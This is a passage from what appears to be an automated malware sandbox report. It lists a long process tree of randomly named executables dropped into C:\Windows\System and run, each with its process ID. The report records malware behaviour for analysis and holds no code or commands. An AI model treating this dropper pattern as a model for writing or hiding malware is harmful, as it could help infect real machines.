  - Executes dropped EXE
  PID:3976
- C:\Windows\System\eyiuXYW.exe
  C:\Windows\System\eyiuXYW.exe
  2⤵
  - Executes dropped EXE
  PID:4888
- C:\Windows\System\yXGrygG.exe
  C:\Windows\System\yXGrygG.exe
  2⤵
  - Executes dropped EXE
  PID:5024
- C:\Windows\System\BnpEspD.exe
  C:\Windows\System\BnpEspD.exe
  2⤵
  - Executes dropped EXE
  PID:844
- C:\Windows\System\njrqYwu.exe
  C:\Windows\System\njrqYwu.exe
  2⤵
  - Executes dropped EXE
  PID:2404
- C:\Windows\System\ZqqqViw.exe
  C:\Windows\System\ZqqqViw.exe
  2⤵
  - Executes dropped EXE
  PID:912
- C:\Windows\System\xNzYANO.exe
  C:\Windows\System\xNzYANO.exe
  2⤵
  - Executes dropped EXE
  PID:3504
- C:\Windows\System\JvXsqkW.exe
  C:\Windows\System\JvXsqkW.exe
  2⤵
  - Executes dropped EXE
  PID:2464
- C:\Windows\System\FVZvMhh.exe
  C:\Windows\System\FVZvMhh.exe
  2⤵
  - Executes dropped EXE
  PID:3528
- C:\Windows\System\mGzBUEY.exe
  C:\Windows\System\mGzBUEY.exe
  2⤵
  - Executes dropped EXE
  PID:2492
- C:\Windows\System\JFMRWhj.exe
  C:\Windows\System\JFMRWhj.exe
  2⤵
  - Executes dropped EXE
  PID:2864
- C:\Windows\System\QIMjGHd.exe
  C:\Windows\System\QIMjGHd.exe
  2⤵
  - Executes dropped EXE
  PID:2212
- C:\Windows\System\PeiKucv.exe
  C:\Windows\System\PeiKucv.exe
  2⤵
  - Executes dropped EXE
  PID:2536
- C:\Windows\System\qTzLlWd.exe
  C:\Windows\System\qTzLlWd.exe
  2⤵
  - Executes dropped EXE
  PID:2804
- C:\Windows\System\OKJnxbD.exe
  C:\Windows\System\OKJnxbD.exe
  2⤵
  - Executes dropped EXE
  PID:2156
- C:\Windows\System\TgIQJVs.exe
  C:\Windows\System\TgIQJVs.exe
  2⤵
  - Executes dropped EXE
  PID:4736
- C:\Windows\System\GSlhYjB.exe
  C:\Windows\System\GSlhYjB.exe
  2⤵
  - Executes dropped EXE
  PID:2424
- C:\Windows\System\WYKDHNV.exe
  C:\Windows\System\WYKDHNV.exe
  2⤵
  - Executes dropped EXE
  PID:2060
- C:\Windows\System\YPxgRBD.exe
  C:\Windows\System\YPxgRBD.exe
  2⤵
  - Executes dropped EXE
  PID:1428
- C:\Windows\System\xfLzmmf.exe
  C:\Windows\System\xfLzmmf.exe
  2⤵
  - Executes dropped EXE
  PID:4380
- C:\Windows\System\euPJIYT.exe
  C:\Windows\System\euPJIYT.exe
  2⤵
  - Executes dropped EXE
  PID:4548
- C:\Windows\System\rsICDdb.exe
  C:\Windows\System\rsICDdb.exe
  2⤵
  - Executes dropped EXE
  PID:944
- C:\Windows\System\KHLbrOF.exe
  C:\Windows\System\KHLbrOF.exe
  2⤵
  - Executes dropped EXE
  PID:2304
- C:\Windows\System\lJuyRRS.exe
  C:\Windows\System\lJuyRRS.exe
  2⤵
  - Executes dropped EXE
  PID:3896
- C:\Windows\System\lGFsHCF.exe
  C:\Windows\System\lGFsHCF.exe
  2⤵
  - Executes dropped EXE
  PID:1332
- C:\Windows\System\CHtGqjy.exe
  C:\Windows\System\CHtGqjy.exe
  2⤵
  - Executes dropped EXE
  PID:4684
- C:\Windows\System\SyvWojt.exe
  C:\Windows\System\SyvWojt.exe
  2⤵
  - Executes dropped EXE
  PID:4932
- C:\Windows\System\WPrlWmO.exe
  C:\Windows\System\WPrlWmO.exe
  2⤵
  - Executes dropped EXE
  PID:5116
- C:\Windows\System\ftSLGoa.exe
  C:\Windows\System\ftSLGoa.exe
  2⤵
  - Executes dropped EXE
  PID:4472
- C:\Windows\System\grNfMgN.exe
  C:\Windows\System\grNfMgN.exe
  2⤵
  - Executes dropped EXE
  PID:1568
- C:\Windows\System\kkDepjH.exe
  C:\Windows\System\kkDepjH.exe
  2⤵
  - Executes dropped EXE
  PID:4924
- C:\Windows\System\vqQztLT.exe
  C:\Windows\System\vqQztLT.exe
  2⤵
  - Executes dropped EXE
  PID:2064
- C:\Windows\System\GzessEf.exe
  C:\Windows\System\GzessEf.exe
  2⤵
  - Executes dropped EXE
  PID:2524
- C:\Windows\System\UfkzFqr.exe
  C:\Windows\System\UfkzFqr.exe
  2⤵
  - Executes dropped EXE
  PID:976
- C:\Windows\System\UxzNIlI.exe
  C:\Windows\System\UxzNIlI.exe
  2⤵
  - Executes dropped EXE
  PID:4592
- C:\Windows\System\hlVLqae.exe
  C:\Windows\System\hlVLqae.exe
  2⤵
  - Executes dropped EXE
  PID:2140
- C:\Windows\System\XxgnDxe.exe
  C:\Windows\System\XxgnDxe.exe
  2⤵
  - Executes dropped EXE
  PID:4412
- C:\Windows\System\mNHxzwW.exe
  C:\Windows\System\mNHxzwW.exe
  2⤵
  - Executes dropped EXE
  PID:4368
- C:\Windows\System\eRHwdAx.exe
  C:\Windows\System\eRHwdAx.exe
  2⤵
  - Executes dropped EXE
  PID:3216
- C:\Windows\System\ymbYstZ.exe
  C:\Windows\System\ymbYstZ.exe
  2⤵
  - Executes dropped EXE
  PID:4252
- C:\Windows\System\szXpEOP.exe
  C:\Windows\System\szXpEOP.exe
  2⤵
  - Executes dropped EXE
  PID:3044
- C:\Windows\System\loPdFYk.exe
  C:\Windows\System\loPdFYk.exe
  2⤵
  - Executes dropped EXE
  PID:3180
- C:\Windows\System\ekXAivE.exe
  C:\Windows\System\ekXAivE.exe
  2⤵
  - Executes dropped EXE
  PID:3924
- C:\Windows\System\kuoUUCx.exe
  C:\Windows\System\kuoUUCx.exe
  2⤵
  - Executes dropped EXE
  PID:4228
- C:\Windows\System\ruRomaX.exe
  C:\Windows\System\ruRomaX.exe
  2⤵
  - Executes dropped EXE
  PID:4280
- C:\Windows\System\zVEzqub.exe
  C:\Windows\System\zVEzqub.exe
  2⤵
  - Executes dropped EXE
  PID:1048
- C:\Windows\System\ysmIjSO.exe
  C:\Windows\System\ysmIjSO.exe
  2⤵
  - Executes dropped EXE
  PID:5076
- C:\Windows\System\SxuGbGM.exe
  C:\Windows\System\SxuGbGM.exe
  2⤵
  - Executes dropped EXE
  PID:1040
- C:\Windows\System\DTMVyKW.exe
  C:\Windows\System\DTMVyKW.exe
  2⤵
  - Executes dropped EXE
  PID:3300
- C:\Windows\System\XyMLcmZ.exe
  C:\Windows\System\XyMLcmZ.exe
  2⤵
  - Executes dropped EXE
  PID:1328
- C:\Windows\System\caThvfB.exe
  C:\Windows\System\caThvfB.exe
  2⤵
  - Executes dropped EXE
  PID:3708
- C:\Windows\System\zTOHTaL.exe
  C:\Windows\System\zTOHTaL.exe
  2⤵
  - Executes dropped EXE
  PID:4200
- C:\Windows\System\LImUgdr.exe
  C:\Windows\System\LImUgdr.exe
  2⤵
  - Executes dropped EXE
  PID:980
- C:\Windows\System\kpEsYwG.exe
  C:\Windows\System\kpEsYwG.exe
  2⤵
  PID:1460
- C:\Windows\System\uAcrAJD.exe
  C:\Windows\System\uAcrAJD.exe
  2⤵
  PID:3132
- C:\Windows\System\ZozARNn.exe
  C:\Windows\System\ZozARNn.exe
  2⤵
  PID:3228
- C:\Windows\System\rAhIavI.exe
  C:\Windows\System\rAhIavI.exe
  2⤵
  PID:1916
- C:\Windows\System\uKRORev.exe
  C:\Windows\System\uKRORev.exe
  2⤵
  PID:1720
- C:\Windows\System\nTBAQyP.exe
  C:\Windows\System\nTBAQyP.exe
  2⤵
  PID:4320
- C:\Windows\System\ytuUQlQ.exe
  C:\Windows\System\ytuUQlQ.exe
  2⤵
  PID:2440
- C:\Windows\System\FwQzZcM.exe
  C:\Windows\System\FwQzZcM.exe
  2⤵
  PID:3240
- C:\Windows\System\ZNVcOgm.exe
  C:\Windows\System\ZNVcOgm.exe
  2⤵
  PID:640
- C:\Windows\System\wxGCHkW.exe
  C:\Windows\System\wxGCHkW.exe
  2⤵
  PID:2488
- C:\Windows\System\ZxuRJEU.exe
  C:\Windows\System\ZxuRJEU.exe
  2⤵
  PID:2480
- C:\Windows\System\plCkIEz.exe
  C:\Windows\System\plCkIEz.exe
  2⤵
  PID:2348
- C:\Windows\System\oWbfOgW.exe
  C:\Windows\System\oWbfOgW.exe
  2⤵
  PID:5140
- C:\Windows\System\iCLRgcm.exe
  C:\Windows\System\iCLRgcm.exe
  2⤵
  PID:5160
- C:\Windows\System\oJdRUVd.exe
  C:\Windows\System\oJdRUVd.exe
  2⤵
  PID:5180
- C:\Windows\System\redlebN.exe
  C:\Windows\System\redlebN.exe
  2⤵
  PID:5288
- C:\Windows\System\YZHUmdP.exe
  C:\Windows\System\YZHUmdP.exe
  2⤵
  PID:5304
- C:\Windows\System\jLyBHrI.exe
  C:\Windows\System\jLyBHrI.exe
  2⤵
  PID:5328
- C:\Windows\System\owDIqfw.exe
  C:\Windows\System\owDIqfw.exe
  2⤵
  PID:5344
- C:\Windows\System\nthaQRy.exe
  C:\Windows\System\nthaQRy.exe
  2⤵
  PID:5360
- C:\Windows\System\YQbhLsK.exe
  C:\Windows\System\YQbhLsK.exe
  2⤵
  PID:5388
- C:\Windows\System\rWJBzzI.exe
  C:\Windows\System\rWJBzzI.exe
  2⤵
  PID:5408
- C:\Windows\System\PfiomDn.exe
  C:\Windows\System\PfiomDn.exe
  2⤵
  PID:5432
- C:\Windows\System\ZoNJGLh.exe
  C:\Windows\System\ZoNJGLh.exe
  2⤵
  PID:5456
- C:\Windows\System\FVpvBmX.exe
  C:\Windows\System\FVpvBmX.exe
  2⤵
  PID:5472
- C:\Windows\System\riknAjO.exe
  C:\Windows\System\riknAjO.exe
  2⤵
  PID:5496
- C:\Windows\System\VMrcpDW.exe
  C:\Windows\System\VMrcpDW.exe
  2⤵
  PID:5512
- C:\Windows\System\vDOTvrt.exe
  C:\Windows\System\vDOTvrt.exe
  2⤵
  PID:5536
- C:\Windows\System\geuQWph.exe
  C:\Windows\System\geuQWph.exe
  2⤵
  PID:5564
- C:\Windows\System\sOpxjAf.exe
  C:\Windows\System\sOpxjAf.exe
  2⤵
  PID:5584
- C:\Windows\System\bltZuoA.exe
  C:\Windows\System\bltZuoA.exe
  2⤵
  PID:5608
- C:\Windows\System\VpGSaTA.exe
  C:\Windows\System\VpGSaTA.exe
  2⤵
  PID:5624
- C:\Windows\System\PpVPpwr.exe
  C:\Windows\System\PpVPpwr.exe
  2⤵
  PID:5648
- C:\Windows\System\VNXOQDA.exe
  C:\Windows\System\VNXOQDA.exe
  2⤵
  PID:5672
- C:\Windows\System\zUBhBlP.exe
  C:\Windows\System\zUBhBlP.exe
  2⤵
  PID:5688
- C:\Windows\System\LxDgnoR.exe
  C:\Windows\System\LxDgnoR.exe
  2⤵
  PID:5716
- C:\Windows\System\EIZDOIc.exe
  C:\Windows\System\EIZDOIc.exe
  2⤵
  PID:5736
- C:\Windows\System\pxoeGVD.exe
  C:\Windows\System\pxoeGVD.exe
  2⤵
  PID:5764
- C:\Windows\System\HEKeMLe.exe
  C:\Windows\System\HEKeMLe.exe
  2⤵
  PID:5788
- C:\Windows\System\SThEVBu.exe
  C:\Windows\System\SThEVBu.exe
  2⤵
  PID:5832
- C:\Windows\System\lDfnzdZ.exe
  C:\Windows\System\lDfnzdZ.exe
  2⤵
  PID:5900
- C:\Windows\System\coXlGWF.exe
  C:\Windows\System\coXlGWF.exe
  2⤵
  PID:5928
- C:\Windows\System\DLhpQgz.exe
  C:\Windows\System\DLhpQgz.exe
  2⤵
  PID:5952
- C:\Windows\System\BJPHNQQ.exe
  C:\Windows\System\BJPHNQQ.exe
  2⤵
  PID:5968
- C:\Windows\System\nZgmqAc.exe
  C:\Windows\System\nZgmqAc.exe
  2⤵
  PID:5984
- C:\Windows\System\rWVXtVN.exe
  C:\Windows\System\rWVXtVN.exe
  2⤵
  PID:6008
- C:\Windows\System\EYjRTXs.exe
  C:\Windows\System\EYjRTXs.exe
  2⤵
  PID:6032
- C:\Windows\System\mALWWeT.exe
  C:\Windows\System\mALWWeT.exe
  2⤵
  PID:6072
- C:\Windows\System\lVGMgVo.exe
  C:\Windows\System\lVGMgVo.exe
  2⤵
  PID:6100
- C:\Windows\System\ssdLdNT.exe
  C:\Windows\System\ssdLdNT.exe
  2⤵
  PID:6116
- C:\Windows\System\KoDxiKK.exe
  C:\Windows\System\KoDxiKK.exe
  2⤵
  PID:6140
- C:\Windows\System\CsZGgEc.exe
  C:\Windows\System\CsZGgEc.exe
  2⤵
  PID:1824
- C:\Windows\System\GlhRkpc.exe
  C:\Windows\System\GlhRkpc.exe
  2⤵
  PID:5000
- C:\Windows\System\rCTtjfZ.exe
  C:\Windows\System\rCTtjfZ.exe
  2⤵
  PID:1512
- C:\Windows\System\VDaszWs.exe
  C:\Windows\System\VDaszWs.exe
  2⤵
  PID:2068
- C:\Windows\System\lCTBBXZ.exe
  C:\Windows\System\lCTBBXZ.exe
  2⤵
  PID:5148
- C:\Windows\System\XxyOtma.exe
  C:\Windows\System\XxyOtma.exe
  2⤵
  PID:2388
- C:\Windows\System\CbGgCyo.exe
  C:\Windows\System\CbGgCyo.exe
  2⤵
  PID:4296
- C:\Windows\System\qByKjIk.exe
  C:\Windows\System\qByKjIk.exe
  2⤵
  PID:2384
- C:\Windows\System\GaxyPtf.exe
  C:\Windows\System\GaxyPtf.exe
  2⤵
  PID:4596
- C:\Windows\System\aKfjNwR.exe
  C:\Windows\System\aKfjNwR.exe
  2⤵
  PID:3724
- C:\Windows\System\avIxFiO.exe
  C:\Windows\System\avIxFiO.exe
  2⤵
  PID:1540
- C:\Windows\System\RxOnPKv.exe
  C:\Windows\System\RxOnPKv.exe
  2⤵
  PID:5668
- C:\Windows\System\svjmBsS.exe
  C:\Windows\System\svjmBsS.exe
  2⤵
  PID:5724
- C:\Windows\System\UWfrfId.exe
  C:\Windows\System\UWfrfId.exe
  2⤵
  PID:4184
- C:\Windows\System\XbAASgv.exe
  C:\Windows\System\XbAASgv.exe
  2⤵
  PID:3720
- C:\Windows\System\YANqzLk.exe
  C:\Windows\System\YANqzLk.exe
  2⤵
  PID:3560
- C:\Windows\System\Ahahymk.exe
  C:\Windows\System\Ahahymk.exe
  2⤵
  PID:772
- C:\Windows\System\UuSPFgP.exe
  C:\Windows\System\UuSPFgP.exe
  2⤵
  PID:3244
- C:\Windows\System\mCppXud.exe
  C:\Windows\System\mCppXud.exe
  2⤵
  PID:5888
- C:\Windows\System\opJgOpt.exe
  C:\Windows\System\opJgOpt.exe
  2⤵
  PID:6152
- C:\Windows\System\ZkGylXE.exe
  C:\Windows\System\ZkGylXE.exe
  2⤵
  PID:6168
- C:\Windows\System\fogzHom.exe
  C:\Windows\System\fogzHom.exe
  2⤵
  PID:6196
- C:\Windows\System\HBzwFUm.exe
  C:\Windows\System\HBzwFUm.exe
  2⤵
  PID:6220
- C:\Windows\System\fhgEwKu.exe
  C:\Windows\System\fhgEwKu.exe
  2⤵
  PID:6236
- C:\Windows\System\aDwFgUS.exe
  C:\Windows\System\aDwFgUS.exe
  2⤵
  PID:6256
- C:\Windows\System\duXkhsY.exe
  C:\Windows\System\duXkhsY.exe
  2⤵
  PID:6288
- C:\Windows\System\uZWuEAk.exe
  C:\Windows\System\uZWuEAk.exe
  2⤵
  PID:6304
- C:\Windows\System\jEFIOwq.exe
  C:\Windows\System\jEFIOwq.exe
  2⤵
  PID:6324
- C:\Windows\System\VfdzxYY.exe
  C:\Windows\System\VfdzxYY.exe
  2⤵
  PID:6380
- C:\Windows\System\zFQYQzs.exe
  C:\Windows\System\zFQYQzs.exe
  2⤵
  PID:6396
- C:\Windows\System\OkQuZXm.exe
  C:\Windows\System\OkQuZXm.exe
  2⤵
  PID:6420
- C:\Windows\System\YUiHzbR.exe
  C:\Windows\System\YUiHzbR.exe
  2⤵
  PID:6436
- C:\Windows\System\xnVwhZK.exe
  C:\Windows\System\xnVwhZK.exe
  2⤵
  PID:6460
- C:\Windows\System\cBmtRNl.exe
  C:\Windows\System\cBmtRNl.exe
  2⤵
  PID:6488
- C:\Windows\System\UJXQgxk.exe
  C:\Windows\System\UJXQgxk.exe
  2⤵
  PID:6504
- C:\Windows\System\ijIbsWg.exe
  C:\Windows\System\ijIbsWg.exe
  2⤵
  PID:6528
- C:\Windows\System\AtbsmmI.exe
  C:\Windows\System\AtbsmmI.exe
  2⤵
  PID:6712
- C:\Windows\System\DLrUrhX.exe
  C:\Windows\System\DLrUrhX.exe
  2⤵
  PID:6732
- C:\Windows\System\mtVPqPO.exe
  C:\Windows\System\mtVPqPO.exe
  2⤵
  PID:6752
- C:\Windows\System\IPAogpZ.exe
  C:\Windows\System\IPAogpZ.exe
  2⤵
  PID:6776
- C:\Windows\System\gMPDLFP.exe
  C:\Windows\System\gMPDLFP.exe
  2⤵
  PID:6792
- C:\Windows\System\AMkqNht.exe
  C:\Windows\System\AMkqNht.exe
  2⤵
  PID:6808
- C:\Windows\System\ISzMErF.exe
  C:\Windows\System\ISzMErF.exe
  2⤵
  PID:6828
- C:\Windows\System\lTcBvEo.exe
  C:\Windows\System\lTcBvEo.exe
  2⤵
  PID:6852
- C:\Windows\System\pcwffrN.exe
  C:\Windows\System\pcwffrN.exe
  2⤵
  PID:6872
- C:\Windows\System\nCHnkld.exe
  C:\Windows\System\nCHnkld.exe
  2⤵
  PID:6896
- C:\Windows\System\umCBQRo.exe
  C:\Windows\System\umCBQRo.exe
  2⤵
  PID:6916
- C:\Windows\System\XKHhtRf.exe
  C:\Windows\System\XKHhtRf.exe
  2⤵
  PID:6940
- C:\Windows\System\HKqnoxM.exe
  C:\Windows\System\HKqnoxM.exe
  2⤵
  PID:6964
- C:\Windows\System\oQYUBvT.exe
  C:\Windows\System\oQYUBvT.exe
  2⤵
  PID:6992
- C:\Windows\System\MRqEhvo.exe
  C:\Windows\System\MRqEhvo.exe
  2⤵
  PID:7012
- C:\Windows\System\LXxdgnQ.exe
  C:\Windows\System\LXxdgnQ.exe
  2⤵
  PID:7028
- C:\Windows\System\PcDlPKW.exe
  C:\Windows\System\PcDlPKW.exe
  2⤵
  PID:7052
- C:\Windows\System\cAnZPxT.exe
  C:\Windows\System\cAnZPxT.exe
  2⤵
  PID:7068
- C:\Windows\System\Zomsbqz.exe
  C:\Windows\System\Zomsbqz.exe
  2⤵
  PID:7092
- C:\Windows\System\tPkcqCP.exe
  C:\Windows\System\tPkcqCP.exe
  2⤵
  PID:7120
- C:\Windows\System\cdlQUfQ.exe
  C:\Windows\System\cdlQUfQ.exe
  2⤵
  PID:7140
- C:\Windows\System\RDDZPjq.exe
  C:\Windows\System\RDDZPjq.exe
  2⤵
  PID:7164
- C:\Windows\System\oAACHsd.exe
  C:\Windows\System\oAACHsd.exe
  2⤵
  PID:5228
- C:\Windows\System\rseFyMo.exe
  C:\Windows\System\rseFyMo.exe
  2⤵
  PID:5340
- C:\Windows\System\bdhwUXJ.exe
  C:\Windows\System\bdhwUXJ.exe
  2⤵
  PID:5400
- C:\Windows\System\sqaakcw.exe
  C:\Windows\System\sqaakcw.exe
  2⤵
  PID:5448
- C:\Windows\System\tvrSyjG.exe
  C:\Windows\System\tvrSyjG.exe
  2⤵
  PID:5084
- C:\Windows\System\jyxCoRQ.exe
  C:\Windows\System\jyxCoRQ.exe
  2⤵
  PID:5520
- C:\Windows\System\wOJYGIP.exe
  C:\Windows\System\wOJYGIP.exe
  2⤵
  PID:5556
- C:\Windows\System\lKFFizF.exe
  C:\Windows\System\lKFFizF.exe
  2⤵
  PID:5604
- C:\Windows\System\RBzlamQ.exe
  C:\Windows\System\RBzlamQ.exe
  2⤵
  PID:5644
- C:\Windows\System\ZOciElq.exe
  C:\Windows\System\ZOciElq.exe
  2⤵
  PID:2028
- C:\Windows\System\FBUOGVE.exe
  C:\Windows\System\FBUOGVE.exe
  2⤵
  PID:5804
- C:\Windows\System\rLdiCFY.exe
  C:\Windows\System\rLdiCFY.exe
  2⤵
  PID:696
- C:\Windows\System\suBMcra.exe
  C:\Windows\System\suBMcra.exe
  2⤵
  PID:1960
- C:\Windows\System\cfdpqzl.exe
  C:\Windows\System\cfdpqzl.exe
  2⤵
  PID:5684
- C:\Windows\System\EKCqnfT.exe
  C:\Windows\System\EKCqnfT.exe
  2⤵
  PID:2428
- C:\Windows\System\TRReWIu.exe
  C:\Windows\System\TRReWIu.exe
  2⤵
  PID:5944
- C:\Windows\System\jOGbYoV.exe
  C:\Windows\System\jOGbYoV.exe
  2⤵
  PID:968
- C:\Windows\System\nYnsRIq.exe
  C:\Windows\System\nYnsRIq.exe
  2⤵
  PID:4312
- C:\Windows\System\Dxufuhq.exe
  C:\Windows\System\Dxufuhq.exe
  2⤵
  PID:5172
- C:\Windows\System\wEPUArm.exe
  C:\Windows\System\wEPUArm.exe
  2⤵
  PID:6800
- C:\Windows\System\UtiNpVL.exe
  C:\Windows\System\UtiNpVL.exe
  2⤵
  PID:6316
- C:\Windows\System\IUaDdnR.exe
  C:\Windows\System\IUaDdnR.exe
  2⤵
  PID:6416
- C:\Windows\System\JyLFoJi.exe
  C:\Windows\System\JyLFoJi.exe
  2⤵
  PID:6468
- C:\Windows\System\naaIwjs.exe
  C:\Windows\System\naaIwjs.exe
  2⤵
  PID:6520
- C:\Windows\System\wSVQzNx.exe
  C:\Windows\System\wSVQzNx.exe
  2⤵
  PID:6476
- C:\Windows\System\raYztFJ.exe
  C:\Windows\System\raYztFJ.exe
  2⤵
  PID:6388
- C:\Windows\System\qbQVBjY.exe
  C:\Windows\System\qbQVBjY.exe
  2⤵
  PID:6272
- C:\Windows\System\JgwIqMG.exe
  C:\Windows\System\JgwIqMG.exe
  2⤵
  PID:6180
- C:\Windows\System\PQfDSkC.exe
  C:\Windows\System\PQfDSkC.exe
  2⤵
  PID:3764
- C:\Windows\System\oUdryQt.exe
  C:\Windows\System\oUdryQt.exe
  2⤵
  PID:3884
- C:\Windows\System\blThdbn.exe
  C:\Windows\System\blThdbn.exe
  2⤵
  PID:4612
- C:\Windows\System\joxSvNG.exe
  C:\Windows\System\joxSvNG.exe
  2⤵
  PID:7076
- C:\Windows\System\miNtyTR.exe
  C:\Windows\System\miNtyTR.exe
  2⤵
  PID:6628
- C:\Windows\System\KFyhmee.exe
  C:\Windows\System\KFyhmee.exe
  2⤵
  PID:3484
- C:\Windows\System\dAoCvuE.exe
  C:\Windows\System\dAoCvuE.exe
  2⤵
  PID:6724
- C:\Windows\System\xPWacow.exe
  C:\Windows\System\xPWacow.exe
  2⤵
  PID:6764
- C:\Windows\System\rxZjvsl.exe
  C:\Windows\System\rxZjvsl.exe
  2⤵
  PID:6892
- C:\Windows\System\qnMTiRD.exe
  C:\Windows\System\qnMTiRD.exe
  2⤵
  PID:6820
- C:\Windows\System\bqrPkzo.exe
  C:\Windows\System\bqrPkzo.exe
  2⤵
  PID:7100
- C:\Windows\System\NRbhjoN.exe
  C:\Windows\System\NRbhjoN.exe
  2⤵
  PID:7024
- C:\Windows\System\xxhVYmP.exe
  C:\Windows\System\xxhVYmP.exe
  2⤵
  PID:1956
- C:\Windows\System\ocWgbdr.exe
  C:\Windows\System\ocWgbdr.exe
  2⤵
  PID:6840
- C:\Windows\System\dqTfevr.exe
  C:\Windows\System\dqTfevr.exe
  2⤵
  PID:7176
- C:\Windows\System\EDWMiEi.exe
  C:\Windows\System\EDWMiEi.exe
  2⤵
  PID:7192
- C:\Windows\System\DDhfkdb.exe
  C:\Windows\System\DDhfkdb.exe
  2⤵
  PID:7216
- C:\Windows\System\ZVQrHto.exe
  C:\Windows\System\ZVQrHto.exe
  2⤵
  PID:7240
- C:\Windows\System\wrEyNbA.exe
  C:\Windows\System\wrEyNbA.exe
  2⤵
  PID:7264
- C:\Windows\System\VQJznDX.exe
  C:\Windows\System\VQJznDX.exe
  2⤵
  PID:7296
- C:\Windows\System\gjJhSMW.exe
  C:\Windows\System\gjJhSMW.exe
  2⤵
  PID:7324
- C:\Windows\System\jvXkeBm.exe
  C:\Windows\System\jvXkeBm.exe
  2⤵
  PID:7352
- C:\Windows\System\vVxNMwE.exe
  C:\Windows\System\vVxNMwE.exe
  2⤵
  PID:7380
- C:\Windows\System\CxFpaeF.exe
  C:\Windows\System\CxFpaeF.exe
  2⤵
  PID:7408
- C:\Windows\System\dKPccgw.exe
  C:\Windows\System\dKPccgw.exe
  2⤵
  PID:7440
- C:\Windows\System\MazBcTh.exe
  C:\Windows\System\MazBcTh.exe
  2⤵
  PID:7468
- C:\Windows\System\wENUCZp.exe
  C:\Windows\System\wENUCZp.exe
  2⤵
  PID:7492
- C:\Windows\System\CrxlQif.exe
  C:\Windows\System\CrxlQif.exe
  2⤵
  PID:7516
- C:\Windows\System\SaJVOAb.exe
  C:\Windows\System\SaJVOAb.exe
  2⤵
  PID:7556
- C:\Windows\System\sewDWyp.exe
  C:\Windows\System\sewDWyp.exe
  2⤵
  PID:7572
- C:\Windows\System\OAQKIRi.exe
  C:\Windows\System\OAQKIRi.exe
  2⤵
  PID:7596
- C:\Windows\System\kaDxAZX.exe
  C:\Windows\System\kaDxAZX.exe
  2⤵
  PID:7620
- C:\Windows\System\wWcrgrN.exe
  C:\Windows\System\wWcrgrN.exe
  2⤵
  PID:7644
- C:\Windows\System\MJejANF.exe
  C:\Windows\System\MJejANF.exe
  2⤵
  PID:7668
- C:\Windows\System\iGELEWD.exe
  C:\Windows\System\iGELEWD.exe
  2⤵
  PID:7684
- C:\Windows\System\nfpNLHw.exe
  C:\Windows\System\nfpNLHw.exe
  2⤵
  PID:7704
- C:\Windows\System\OvvUQHo.exe
  C:\Windows\System\OvvUQHo.exe
  2⤵
  PID:7728
- C:\Windows\System\ZxazasD.exe
  C:\Windows\System\ZxazasD.exe
  2⤵
  PID:7912
- C:\Windows\System\uFZvVRH.exe
  C:\Windows\System\uFZvVRH.exe
  2⤵
  PID:7928
- C:\Windows\System\yMiNcGI.exe
  C:\Windows\System\yMiNcGI.exe
  2⤵
  PID:7944
- C:\Windows\System\nlHRKqt.exe
  C:\Windows\System\nlHRKqt.exe
  2⤵
  PID:7964
- C:\Windows\System\dmGcBJD.exe
  C:\Windows\System\dmGcBJD.exe
  2⤵
  PID:7984
- C:\Windows\System\yKoNuwR.exe
  C:\Windows\System\yKoNuwR.exe
  2⤵
  PID:8000
- C:\Windows\System\hqgeYFj.exe
  C:\Windows\System\hqgeYFj.exe
  2⤵
  PID:8024
- C:\Windows\System\OlzzOFu.exe
  C:\Windows\System\OlzzOFu.exe
  2⤵
  PID:8044
- C:\Windows\System\FmnyuTD.exe
  C:\Windows\System\FmnyuTD.exe
  2⤵
  PID:8072
- C:\Windows\System\fTnowcI.exe
  C:\Windows\System\fTnowcI.exe
  2⤵
  PID:8096
- C:\Windows\System\iRwloDp.exe
  C:\Windows\System\iRwloDp.exe
  2⤵
  PID:8132
- C:\Windows\System\nDOcCpB.exe
  C:\Windows\System\nDOcCpB.exe
  2⤵
  PID:8164
- C:\Windows\System\UxGhVzW.exe
  C:\Windows\System\UxGhVzW.exe
  2⤵
  PID:8184
- C:\Windows\System\KnovDcd.exe
  C:\Windows\System\KnovDcd.exe
  2⤵
  PID:3152
- C:\Windows\System\FXtVqAA.exe
  C:\Windows\System\FXtVqAA.exe
  2⤵
  PID:7288
- C:\Windows\System\NyoPVBb.exe
  C:\Windows\System\NyoPVBb.exe
  2⤵
  PID:7344
- C:\Windows\System\NklUtKU.exe
  C:\Windows\System\NklUtKU.exe
  2⤵
  PID:7580
- C:\Windows\System\oqIdXOC.exe
  C:\Windows\System\oqIdXOC.exe
  2⤵
  PID:8200
- C:\Windows\System\fMcOmxO.exe
  C:\Windows\System\fMcOmxO.exe
  2⤵
  PID:8220
- C:\Windows\System\MDneXzj.exe
  C:\Windows\System\MDneXzj.exe
  2⤵
  PID:8252
- C:\Windows\System\naCxbfb.exe
  C:\Windows\System\naCxbfb.exe
  2⤵
  PID:8268
- C:\Windows\System\hxdUXDG.exe
  C:\Windows\System\hxdUXDG.exe
  2⤵
  PID:8288
- C:\Windows\System\bggtPsa.exe
  C:\Windows\System\bggtPsa.exe
  2⤵
  PID:8308
- C:\Windows\System\CUulojQ.exe
  C:\Windows\System\CUulojQ.exe
  2⤵
  PID:8328
- C:\Windows\System\ZgkXhkn.exe
  C:\Windows\System\ZgkXhkn.exe
  2⤵
  PID:8352
- C:\Windows\System\lQIxEZR.exe
  C:\Windows\System\lQIxEZR.exe
  2⤵
  PID:8372
- C:\Windows\System\KIwUOTc.exe
  C:\Windows\System\KIwUOTc.exe
  2⤵
  PID:8396
- C:\Windows\System\taeenKn.exe
  C:\Windows\System\taeenKn.exe
  2⤵
  PID:8412
- C:\Windows\System\uHwKDMJ.exe
  C:\Windows\System\uHwKDMJ.exe
  2⤵
  PID:8432
- C:\Windows\System\LwqwZxz.exe
  C:\Windows\System\LwqwZxz.exe
  2⤵
  PID:8452
- C:\Windows\System\ueebNsl.exe
  C:\Windows\System\ueebNsl.exe
  2⤵
  PID:8476
- C:\Windows\System\lQItNBB.exe
  C:\Windows\System\lQItNBB.exe
  2⤵
  PID:8492
- C:\Windows\System\gWEgfgY.exe
  C:\Windows\System\gWEgfgY.exe
  2⤵
  PID:8516
- C:\Windows\System\SgSkstB.exe
  C:\Windows\System\SgSkstB.exe
  2⤵
  PID:8544
- C:\Windows\System\rpRWJof.exe
  C:\Windows\System\rpRWJof.exe
  2⤵
  PID:8560
- C:\Windows\System\CUpgBuV.exe
  C:\Windows\System\CUpgBuV.exe
  2⤵
  PID:8644
- C:\Windows\System\hBwjCzy.exe
  C:\Windows\System\hBwjCzy.exe
  2⤵
  PID:8664
- C:\Windows\System\UaZNJQl.exe
  C:\Windows\System\UaZNJQl.exe
  2⤵
  PID:8684
- C:\Windows\System\cxTKhTt.exe
